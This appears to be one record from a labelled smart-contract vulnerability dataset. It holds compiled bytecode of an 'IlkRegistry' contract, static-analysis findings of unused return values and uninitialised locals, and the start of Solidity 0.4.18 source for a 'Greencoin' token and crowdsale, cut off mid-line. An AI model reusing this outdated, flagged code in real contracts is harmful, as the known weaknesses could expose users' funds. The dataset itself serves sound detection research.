e7c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f496c6b52656769737472792f696c6b2d616c72656164792d6578697374730000604482015290519081900360640190fd5b600354604080517fd9638d3600000000000000000000000000000000000000000000000000000000815260048101849052815160009373ffffffffffffffffffffffffffffffffffffffff169263d9638d369260248082019391829003018186803b158015610eea57600080fd5b505afa158015610efe573d6000803e3d6000fd5b505050506040513d6040811015610f1457600080fd5b5051905073ffffffffffffffffffffffffffffffffffffffff8116610f9a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496c6b52656769737472792f7069702d696e76616c6964000000000000000000604482015290519081900360640190fd5b600154604080517fd9638d3600000000000000000000000000000000000000000000000000000000815260048101859052905160009273ffffffffffffffffffffffffffffffffffffffff169163d9638d36916024808301926080929190829003018186803b15801561100c57600080fd5b505afa158015611020573d6000803e3d6000fd5b505050506040513d608081101561103657600080fd5b50519050600173ffffffffffffffffffffffffffffffffffffffff821661116757600254604080517fd9638d3600000000000000000000000000000000000000000000000000000000815260048101879052905173ffffffffffffffffffffffffffffffffffffffff9092169163d9638d3691602480820192606092909190829003018186803b1580156110c957600080fd5b505afa1580156110dd573d6000803e3d6000fd5b505050506040513d60608110156110f357600080fd5b5051915073ffffffffffffffffffffffffffffffffffffffff8216611163576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806140c96024913960400191505060405180910390fd5b5060025b606061117285613c4d565b90507f00000000000000000000000063eefda0fcf5604eec8cc89e41a353602b1f2f9f73ffffffffffffffffffffffffffffffffffffffff1663019848928773ffffffffffffffffffffffffffffffffffffffff16637bd2bea76040518163ffffffff1660e01b815260040160206040518083038186803b1580156111f657600080fd5b505afa15801561120a573d6000803e3d6000fd5b505050506040513d602081101561122057600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff9092166004830152516024808301926000929190829003018186803b15801561128c57600080fd5b505afa92505050801561139057506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405260208110156112dd57600080fd5b81019080805160405193929190846401000000008211156112fd57600080fd5b90830190602082018581111561131257600080fd5b825164010000000081118282018810171561132c57600080fd5b82525081516020918201929091019080838360005b83811015611359578181015183820152602001611341565b50505050905090810190601f1680156113865780820380516001836020036101000a031916815260200191505b5060405250505060015b6113cc576040805186815290517f93272f551c7dd0dd38e4c01ae7b4eeef80d2557b4460caa3ee96697d93bc809a9181900360200190a16113d9565b8051156113d7578091505b505b60606113e486613c4d565b90507f00000000000000000000000063eefda0fcf5604eec8cc89e41a353602b1f2f9f73ffffffffffffffffffffffffffffffffffffffff1663a86e35768873ffffffffffffffffffffffffffffffffffffffff16637bd2bea76040518163ffffffff1660e01b815260040160206040518083038186803b15801561146857600080fd5b505afa15801561147c573d6000803e3d6000fd5b505050506040513d602081101561149257600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff9092166004830152516024808301926000929190829003018186803b1580156114fe57600080fd5b505afa92505050801561160257506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052602081101561154f57600080fd5b810190808051604051939291908464010000000082111561156f57600080fd5b90830190602082018581111561158457600080fd5b825164010000000081118282018810171561159e57600080fd5b82525081516020918201929091019080838360005b838110156115cb5781810151838201526020016115b3565b50505050905090810190601f1680156115f85780820380516001836020036101000a031916815260200191505b5060405250505060015b61163e576040805187815290517fd4596cfd8cc9635c5a006e070f5c23e1af9b5d2e65665a8d73958c9e6cc17b4d9181900360200190a161164b565b805115611649578091505b505b6005546bffffffffffffffffffffffff116116c757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f496c6b52656769737472792f746f6f2d6d616e792d696c6b7300000000000000604482015290519081900360640190fd5b6005805460018101825560008290527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db001879055604080516101208101825291547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff016bffffffffffffffffffffffff16825273ffffffffffffffffffffffffffffffffffffffff8916602080840182905282517f7bd2bea7000000000000000000000000000000000000000000000000000000008152835193850193637bd2bea792600480840193919291829003018186803b1580156117a757600080fd5b505afa1580156117bb573d6000803e3d6000fd5b505050506040513d60208110156117d157600080fd5b505173ffffffffffffffffffffffffffffffffffffffff9081168252604080517fb3bcfa820000000000000000000000000000000000000000000000000000000081529051602093840193928c169263b3bcfa829260048082019391829003018186803b15801561184157600080fd5b505afa158015611855573d6000803e3d6000fd5b505050506040513d602081101561186b57600080fd5b505160ff1681526bffffffffffffffffffffffff8516602082015273ffffffffffffffffffffffffffffffffffffffff8088166040830152861660608201526080810184905260a001829052600580546004916000917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81019081106118ed57fe5b600091825260208083209091015483528281019390935260409182019020835181548585015173ffffffffffffffffffffffffffffffffffffffff9081166c010000000000000000000000009081026bffffffffffffffffffffffff9485167fffffffffffffffffffffffffffffffffffffffff0000000000000000000000009485161785161785559487015160018501805460608a015160ff1674010000000000000000000000000000000000000000027fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff9385167fffffffffffffffffffffffff00000000000000000000000000000000000000009283161793909316929092179055608088015160028601805460a08b01518516909802918616979094169690961790931694909417905560c08501516003830180549190941691161790915560e083015180519192611a4b92600485019290910190613e69565b506101008201518051611a68916005840191602090910190613e69565b50506040805188815290517f74ceb2982b813d6b690af89638316706e6acb9a48fced388741b61b510f165b792509081900360200190a15050505050505050565b60606005805480602002602001604051908101604052809291908181526020018280548015611af757602002820191906000526020600020905b815481526020019060010190808311611ae3575b5050505050905090565b33600090815260208190526040902054600114611b7f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b817f636c6173730000000000000000000000000000000000000000000000000000001415611c17576bffffffffffffffffffffffff8111801590611bc257508015155b611bcb57600080fd5b600083815260046020526040902060020180547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff8316179055611cf6565b817f64656300000000000000000000000000000000000000000000000000000000001415611ca55760ff811115611c4d57600080fd5b600083815260046020526040902060010180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff167401000000000000000000000000000000000000000060ff841602179055611cf6565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b81526020018061401e602b913960400191505060405180910390fd5b604080518481526020810184905280820183905290517f851aa1caf4888170ad8875449d18f0f512fd6deb2a6571ea1a41fb9f95acbcd19181900360600190a1505050565b6000908152600460205260409020600201546bffffffffffffffffffffffff1690565b60009081526004602052604090206003015473ffffffffffffffffffffffffffffffffffffffff1690565b60009081526004602052604090206001015474010000000000000000000000000000000000000000900460ff1690565b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b81565b60009081526004602052604090206001015473ffffffffffffffffffffffffffffffffffffffff1690565b33600090815260208190526040902054600114611e8657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b8615801590611ea157506bffffffffffffffffffffffff8711155b611f0c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f496c6b52656769737472792f696e76616c69642d636c61737300000000000000604482015290519081900360640190fd5b60ff881115611f7c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496c6b52656769737472792f696e76616c69642d646563000000000000000000604482015290519081900360640190fd5b60008b8152600460205260408120600201546bffffffffffffffffffffffff166120b0576005546bffffffffffffffffffffffff1161201c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f496c6b52656769737472792f746f6f2d6d616e792d696c6b7300000000000000604482015290519081900360640190fd5b506005805460018101825560008290527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0018c905554604080518d815290517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909201917f74ceb2982b813d6b690af89638316706e6acb9a48fced388741b61b510f165b79181900360200190a1612106565b5060008b8152600460209081526040918290205482518e815292516bffffffffffffffffffffffff909116927f176e1433f84712b82b982cc7a7b738797bd98e17b0882a6edc1a9a89e3dcbdfa92908290030190a15b604051806101200160405280826bffffffffffffffffffffffff1681526020018c73ffffffffffffffffffffffffffffffffffffffff1681526020018b73ffffffffffffffffffffffffffffffffffffffff1681526020018a60ff168152602001896bffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff16815260200186868080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250505090825250604080516020601f870181900481028201810190925285815291810191908690869081908401838280828437600092018290525093909452505060058054600493506bffffffffffffffffffffffff861690811061224657fe5b600091825260208083209091015483528281019390935260409182019020835181548585015173ffffffffffffffffffffffffffffffffffffffff9081166c010000000000000000000000009081026bffffffffffffffffffffffff9485167fffffffffffffffffffffffffffffffffffffffff0000000000000000000000009485161785161785559487015160018501805460608a015160ff1674010000000000000000000000000000000000000000027fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff9385167fffffffffffffffffffffffff00000000000000000000000000000000000000009283161793909316929092179055608088015160028601805460a08b01518516909802918616979094169690961790931694909417905560c08501516003830180549190941691161790915560e0830151805191926123a492600485019290910190613e69565b5061010082015180516123c1916005840191602090910190613e69565b505050505050505050505050505050565b60608183111580156123e5575060055482105b61245057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f496c6b52656769737472792f696e76616c69642d696e70757400000000000000604482015290519081900360640190fd5b606083830360010167ffffffffffffffff8111801561246e57600080fd5b50604051908082528060200260200182016040528015612498578160200160208202803683370190505b5090506000845b8481116124e157600581815481106124b357fe5b90600052602060002001548383815181106124ca57fe5b60209081029190910101526001918201910161249f565b5090949350505050565b6000908152600460205260409020546bffffffffffffffffffffffff1690565b3360009081526020819052604090205460011461258957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff81166000818152602081815260409182902060019055815192835290517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609281900390910190a150565b60008181526004602081815260409283902090910180548351601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018616150201909316929092049182018490048402810184019094528084526060939283018282801561269e5780601f106126735761010080835404028352916020019161269e565b820191906000526020600020905b81548152906001019060200180831161268157829003601f168201915b50505050509050919050565b60008181526004602090815260409182902060050180548351601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018616150201909316929092049182018490048402810184019094528084526060939283018282801561269e5780601f106126735761010080835404028352916020019161269e565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b6000818152600460208181526040928390205483517f36569e77000000000000000000000000000000000000000000000000000000008152935173ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b8116956c0100000000000000000000000090930416936336569e77938382019390929190829003018186803b1580156127f957600080fd5b505afa15801561280d573d6000803e3d6000fd5b505050506040513d602081101561282357600080fd5b505173ffffffffffffffffffffffffffffffffffffffff16146128a757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496c6b52656769737472792f696e76616c69642d696c6b000000000000000000604482015290519081900360640190fd5b6000818152600460208181526040928390205483517f957aa58c00000000000000000000000000000000000000000000000000000000815293516c0100000000000000000000000090910473ffffffffffffffffffffffffffffffffffffffff169363957aa58c93818101939291829003018186803b15801561292957600080fd5b505afa15801561293d573d6000803e3d6000fd5b505050506040513d602081101561295357600080fd5b50516001146129ad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180614049602b913960400191505060405180910390fd5b6000818152600460205260409020600201546bffffffffffffffffffffffff1660018114806129ea5750806bffffffffffffffffffffffff166002145b612a5557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f496c6b52656769737472792f696e76616c69642d636c61737300000000000000604482015290519081900360640190fd5b600354604080517fd9638d3600000000000000000000000000000000000000000000000000000000815260048101859052815160009373ffffffffffffffffffffffffffffffffffffffff169263d9638d369260248082019391829003018186803b158015612ac357600080fd5b505afa158015612ad7573d6000803e3d6000fd5b505050506040513d6040811015612aed57600080fd5b5051905073ffffffffffffffffffffffffffffffffffffffff8116612b7357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496c6b52656769737472792f7069702d696e76616c6964000000000000000000604482015290519081900360640190fd5b60008381526004602090815260409182902060020180546bffffffffffffffffffffffff166c0100000000000000000000000073ffffffffffffffffffffffffffffffffffffffff861602179055815185815291517f176e1433f84712b82b982cc7a7b738797bd98e17b0882a6edc1a9a89e3dcbdfa9281900390910190a1505050565b6005546000908210612c6a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f496c6b52656769737472792f696e6465782d6f75742d6f662d72616e67650000604482015290519081900360640190fd5b60058281548110612c7757fe5b90600052602060002001549050919050565b6000818152600460205260409020546c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff1680612d2a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496c6b52656769737472792f696e76616c69642d696c6b000000000000000000604482015290519081900360640190fd5b6000828152600460205260409020600201546bffffffffffffffffffffffff166001811480612d675750806bffffffffffffffffffffffff166002145b612dd257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f496c6b52656769737472792f696e76616c69642d636c61737300000000000000604482015290519081900360640190fd5b8173ffffffffffffffffffffffffffffffffffffffff1663957aa58c6040518163ffffffff1660e01b815260040160206040518083038186803b158015612e1857600080fd5b505afa158015612e2c573d6000803e3d6000fd5b505050506040513d6020811015612e4257600080fd5b505115612eb057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f496c6b52656769737472792f696c6b2d6c697665000000000000000000000000604482015290519081900360640190fd5b612eb983613cd7565b6040805184815290517f42f3b824eb9d522b949ff3d8f70db1872c46f3fc68b6df1a4c8d6aaebfcb67969181900360200190a1505050565b33600090815260208190526040902054600114612f6f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff811660008181526020818152604080832092909255815192835290517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9281900390910190a150565b3360009081526020819052604090205460011461304b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b61305481613cd7565b6040805182815290517f42f3b824eb9d522b949ff3d8f70db1872c46f3fc68b6df1a4c8d6aaebfcb67969181900360200190a150565b6000908152600460205260409020600201546c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff1690565b6004602081815260009283526040928390208054600180830154600280850154600386015497860180548a5161010096821615969096027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff011692909204601f81018890048802850188019099528884526bffffffffffffffffffffffff808616996c010000000000000000000000009687900473ffffffffffffffffffffffffffffffffffffffff9081169a8187169a7401000000000000000000000000000000000000000090970460ff1699938516989094048116969316949193918301828280156131f45780601f106131c9576101008083540402835291602001916131f4565b820191906000526020600020905b8154815290600101906020018083116131d757829003601f168201915b5050505060058301805460408051602060026001851615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f81018490048402820184019092528181529495949350908301828280156132a25780601f10613277576101008083540402835291602001916132a2565b820191906000526020600020905b81548152906001019060200180831161328557829003601f168201915b5050505050905089565b6000908152600460205260409020546c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff1690565b6060806000806000806000806132f8613ee7565b60008a81526004602081815260409283902083516101208101855281546bffffffffffffffffffffffff80821683526c010000000000000000000000009182900473ffffffffffffffffffffffffffffffffffffffff90811684870152600180860154808316868b015274010000000000000000000000000000000000000000900460ff166060860152600280870154938416608087015293909204811660a085015260038501541660c08401529483018054875161010097821615979097027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff011691909104601f81018590048502860185019096528585529094919360e086019390929083018282801561344f5780601f106134245761010080835404028352916020019161344f565b820191906000526020600020905b81548152906001019060200180831161343257829003601f168201915b505050918352505060058201805460408051602060026001851615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f81018490048402820184019092528181529382019392918301828280156135015780601f106134d657610100808354040283529160200191613501565b820191906000526020600020905b8154815290600101906020018083116134e457829003601f168201915b5050509190925250505060e081015161010082015160808301516060840151604085015160a0860151602087015160c090970151959f50939d506bffffffffffffffffffffffff9092169b5060ff16995097509550909350915050919395975091939597565b60006020819052908152604090205481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b3360009081526020819052604090205460011461361357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b827f6e616d6500000000000000000000000000000000000000000000000000000000141561365e57600084815260046020819052604090912061365891018383613f35565b506136f3565b827f73796d626f6c000000000000000000000000000000000000000000000000000014156136a2576000848152600460205260409020613658906005018383613f35565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061409f602a913960400191505060405180910390fd5b7f6a04c0a277676f3a4d382fc6167bf871235d53006834505ea2d2c6101041eda88484848460405180858152602001848152602001806020018281038252848482818152602001925080828437600083820152604051601f9091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690920182900397509095505050505050a150505050565b3360009081526020819052604090205460011461380557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b817f646f670000000000000000000000000000000000000000000000000000000000141561387257600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831617905561399d565b817f636174000000000000000000000000000000000000000000000000000000000014156138df57600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831617905561399d565b817f73706f7400000000000000000000000000000000000000000000000000000000141561394c57600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831617905561399d565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180614074602b913960400191505060405180910390fd5b6040805183815273ffffffffffffffffffffffffffffffffffffffff8316602082015281517f8fef588b5fc1afbf5b2f06c1a435d513f208da2e6704c3d8f0e0ec91167066ba929181900390910190a15050565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b33600090815260208190526040902054600114613a8b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f496c6b52656769737472792f6e6f742d617574686f72697a6564000000000000604482015290519081900360640190fd5b817f67656d00000000000000000000000000000000000000000000000000000000001415613b0757600083815260046020526040902060010180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316179055613bf3565b817f6a6f696e000000000000000000000000000000000000000000000000000000001415613b7b57600083815260046020526040902080546bffffffffffffffffffffffff166c0100000000000000000000000073ffffffffffffffffffffffffffffffffffffffff841602179055613bf3565b817f786c697000000000000000000000000000000000000000000000000000000000141561394c57600083815260046020526040902060030180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83161790555b604080518481526020810184905273ffffffffffffffffffffffffffffffffffffffff83168183015290517f4ff2caaa972a7c6629ea01fae9c93d73cc307d13ea4c369f9bbbb7f9b7e9461d9181900360600190a1505050565b60408051602080825281830190925260609182919060208201818036833701905050905060005b6020811015613cd057838160208110613c8957fe5b1a60f81b828281518110613c9957fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600101613c74565b5092915050565b600081815260046020526040812054600580546bffffffffffffffffffffffff90921692917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8101908110613d2857fe5b906000526020600020015490508060058381548110613d4357fe5b60009182526020808320919091019290925582815260049091526040902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff84161790556005805480613da257fe5b6000828152602080822083017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff908101839055909201909255848252600490819052604082208281556001810180547fffffffffffffffffffffff000000000000000000000000000000000000000000169055600281018390556003810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001690559190613e5490830182613fc1565b613e62600583016000613fc1565b5050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613eaa57805160ff1916838001178555613ed7565b82800160010185558215613ed7579182015b82811115613ed7578251825591602001919060010190613ebc565b50613ee3929150614008565b5090565b604080516101208101825260008082526020820181905291810182905260608082018390526080820183905260a0820183905260c082019290925260e0810182905261010081019190915290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613f94578280017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00823516178555613ed7565b82800160010185558215613ed7579182015b82811115613ed7578235825591602001919060010190613fa6565b50805460018160011615610100020316600290046000825580601f10613fe75750614005565b601f0160209004906000526020600020908101906140059190614008565b50565b5b80821115613ee3576000815560010161400956fe496c6b52656769737472792f66696c652d756e7265636f676e697a65642d706172616d2d75696e74323536496c6b52656769737472792f696c6b2d6e6f742d6c6976652d7573652d72656d6f76652d696e7374656164496c6b52656769737472792f66696c652d756e7265636f676e697a65642d706172616d2d61646472657373496c6b52656769737472792f66696c652d756e7265636f676e697a65642d706172616d2d737472696e67496c6b52656769737472792f696e76616c69642d61756374696f6e2d636f6e7472616374496c6b52656769737472792f696e76616c69642d6a6f696e2d616461707465722d766174496c6b52656769737472792f616461707465722d6e6f742d617574686f72697a6564a264697066735822122027bb1095957b24418fe40f4ffb3952563c5ef421e0cc7601fcf9ce23db70080164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
8,580
0xf116625f09b645a72739b43977b2645c32b0d554
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 { uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping (address => uint256) balances; uint256 public endTimeLockedTokensTeam = 1601510399; // +2 years (Wed, 30 Sep 2020 23:59:59 GMT) uint256 public endTimeLockedTokensAdvisor = 1554076800; // + 6 months (Mon, 01 Apr 2019 00:00:00 GMT) address public walletTeam = 0xdEffB0629FD35AD1A462C13D65f003E9079C3bb1; address public walletAdvisor = 0xD437f2289B4d20988EcEAc5E050C6b4860FFF4Ac; /** * Protection against short address attack */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // Block the sending of tokens from the fund Advisors if ((msg.sender == walletAdvisor) && (now < endTimeLockedTokensAdvisor)) { revert(); } // Block the sending of tokens from the fund Team if((msg.sender == walletTeam) && (now < endTimeLockedTokensTeam)) { revert(); } // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; address public ownerTwo; struct PermissionFunction { bool approveOwner; bool approveOwnerTwo; } PermissionFunction[] public permissions; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { permissions.push(PermissionFunction(false, false)); /* for (uint8 i = 0; i < 5; i++) { permissions.push(PermissionFunction(false, false)); } */ } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner || msg.sender == ownerTwo); _; } function setApproveOwner(uint8 _numberFunction, bool _permValue) onlyOwner public { if(msg.sender == owner){ permissions[_numberFunction].approveOwner = _permValue; } if(msg.sender == ownerTwo){ permissions[_numberFunction].approveOwnerTwo = _permValue; } } /* function getApprove(uint8 _numberFunction) public view onlyOwner returns (bool) { if(msg.sender == owner){ return permissions[_numberFunction].approveOwner; } if(msg.sender == ownerTwo){ return permissions[_numberFunction].approveOwnerTwo; } } */ function removePermission(uint8 _numberFunction) public onlyOwner { permissions[_numberFunction].approveOwner = false; permissions[_numberFunction].approveOwnerTwo = false; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { string public constant name = "Greencoin"; string public constant symbol = "GNC"; uint8 public constant decimals = 18; event Mint(address indexed to, uint256 amount); /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount, address _owner) internal returns (bool) { balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); Mint(_to, _amount); Transfer(_owner, _to, _amount); return true; } /** * Peterson's Law Protection * Claim tokens */ function claimTokens(address _token) public onlyOwner { //function claimTokens(address _token) public { //for test's //require(permissions[4].approveOwner == true && permissions[4].approveOwnerTwo == true); if (_token == 0x0) { owner.transfer(this.balance); return; } MintableToken token = MintableToken(_token); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); Transfer(_token, owner, balance); //removePermission(4); } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale is Ownable { using SafeMath for uint256; // address where funds are collected address public wallet; // amount of raised money in wei uint256 public weiRaised; uint256 public tokenAllocated; uint256 public hardWeiCap = 60000 * (10 ** 18); // 60,000 